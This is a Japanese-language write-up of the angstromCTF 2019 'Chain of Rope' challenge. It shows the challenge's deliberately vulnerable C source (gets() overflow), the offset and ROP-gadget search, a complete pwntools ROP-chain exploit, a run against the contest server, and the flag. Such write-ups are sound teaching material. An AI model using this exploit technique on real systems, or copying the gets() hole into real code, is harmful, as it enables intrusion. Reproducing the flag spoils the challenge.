Chain of Rope
defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?
/problems/2019/chain_of_rope/
nc shell.actf.co 19400
実行ファイルとソースコードが与えられる。
~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ file chain_of_rope chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d4c22998218e85daf31fb0739fe4b630d57f6241, not stripped ~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ checksec.sh --file chain_of_rope RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH chain_of_rope
chain_of_rope.c
#include <stdlib.h> #include <stdio.h> #include <string.h> int userToken = 0; int balance = 0; int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; } int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; } void getInfo () { printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char name [32]; printf("--== ROPE CHAIN BLACK MARKET ==--\n"); printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n"); printf("What would you like to do?\n"); printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0; }
ソースコードをみて思うこと
- フラグを出力する関数がある。
int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; }
変数を4つ値を入れる必要がある。
- userToken == 0x1337
- balance == 0x4242
- pin == 0xba5eba11
secret == 0xbedabb1e
userTokenとbalanceについては次の関数で値を入れられる。
- pinとsecretはflag()の引数である。
int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; }
- main関数でgets()を使用しているためバッファオーバーフローの可能性がある。
printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0;
IDA Proでスタックの状態を確認してリターンアドレスまでのオフセットを計算する。
-0000000000000034 v4 dd ? -0000000000000030 v5 db ? -000000000000002F db ? ; undefined -000000000000002E db ? ; undefined -000000000000002D db ? ; undefined (snip) -0000000000000006 db ? ; undefined -0000000000000005 db ? ; undefined -0000000000000004 rgid dd ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
gets()されたものは&v5に入力される。
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-34h] char v5; // [rsp+10h] [rbp-30h] __gid_t rgid; // [rsp+3Ch] [rbp-4h] rgid = getegid(); setresgid(rgid, rgid, rgid); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); puts("--== ROPE CHAIN BLACK MARKET ==--"); puts("LIMITED TIME OFFER: Sending free flag along with any purchase."); puts("What would you like to do?"); puts("1 - Set name"); puts("2 - Get user info"); puts("3 - Grant access"); __isoc99_scanf("%d\n", &v4); switch ( v4 ) { case 1: gets(&v5); break; case 2: getInfo(); break; case 3: puts("lmao no"); break; default: puts("I don't know what you're saying so get out of my black market"); break; } return 0; }
v5からr(return address)までのオフセットを計算する。
>>> 0x30 + 0x8 56
リターンアドレスまでのオフセットが分かったので変数を代入する関数を順番に以下の順で呼んでいく。
'A' * 56 #offset authorize () addBalance (int pin) flag (int pin, int secret) getInfo ()
addBalance (int pin)は引数を一つ、flag (int pin, int secret)は引数を2つ必要としているので pop rdiとpop rsiができるgadgetを探す。
$ rp --file chain_of_rope --unique --rop 5 | grep pop (snip) 0x00401403: pop rdi ; ret ; (1 found) 0x00401401: pop rsi ; pop r15 ; ret ; (1 found) (snip)
使用するかと思って無駄なことを書いてはいるが、 最終的なエクスプローコード
from pwn import * def send_payload(payload): log.info("Send payload = %s" % repr(payload)) r.send(payload) return def sendline_payload(payload): log.info("Sendline payload = %s" % repr(payload)) r.sendline(payload) return def print_address(s, addr): log.info(s + ' : ' + hex(addr)) return binary = './chain_of_rope' elf = ELF(binary) context.binary = binary host = 'shell.actf.co' port = 19400 REMOTE = len(sys.argv) >= 2 if REMOTE: r = remote(host, port) else: r = process(binary) def set_name(): sendline_payload('1') return def get_userinfo(): sendline_payload('2') print r.recv() # printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); return def grant_accese(): sendline_payload('3') print r.recv() # printf("lmao no\n"); return authorize = elf.symbols['authorize'] addBalance = elf.symbols['addBalance'] flag = elf.symbols['flag'] getInfo = elf.symbols['getInfo'] ''' $ rp --file chain_of_rope --unique --rop 5 0x00401403: pop rdi ; ret ; (1 found) 0x00401401: pop rsi ; pop r15 ; ret ; (1 found) ''' print_address('authorize', authorize) print_address('addBalance', addBalance) print_address('flag', flag) print_address('getInfo', getInfo) print r.recvuntil('3 - Grant access\n') sendline_payload('1') payload = '' payload += 'A' * 56 # authorize() payload += pack(authorize) # addBalance(0xdeadbeef) payload += pack(0x00401403) # pop rdi ; ret payload += pack(0xdeadbeef) # arg1 : pin payload += pack(addBalance) # flag(0xba5eba11, 0xbedabb1e) payload += pack(0x00401403) # pop rdi ; ret payload += pack(0xba5eba11) # arg1 : pin payload += pack(0x00401401) # pop rsi ; pop r15 ; ret payload += pack(0xbedabb1e) # arg2 : secret payload += 'BBBBBBBB' # junk payload += pack(flag) # getInfo() payload += pack(getInfo) sendline_payload(payload) print r.recv() print r.recv() # r.interactive()
~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ python exploit.py r [*] '/home/user/Desktop/\xc3\xa5ngstromCTF/Pwn/Chain of Rope/chain_of_rope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to shell.actf.co on port 19400: Done [*] authorize : 0x401196 [*] addBalance : 0x4011ab [*] flag : 0x4011eb --== ROPE CHAIN BLACK MARKET ==-- LIMITED TIME OFFER: Sending free flag along with any purchase. What would you like to do? 1 - Set name 2 - Get user info 3 - Grant access [*] Sendline payload = '1' [*] Sendline payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xab\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\x11\xba^\xba\x00\x00\x00\x00\x01\x14@\x00\x00\x00\x00\x00\x1e\xbb\xda\xbe\x00\x00\x00\x00BBBBBBBB\xeb\x11@\x00\x00\x00\x00\x00R\x12@\x00\x00\x00\x00\x00' Authenticated to purchase rope chain, sending free flag along with purchase... actf{dark_web_bargains}Token: 0x1337 Balance: 0x4242 [*] Closed connection to shell.actf.co port 19400
FLAG : actf{dark_web_bargains}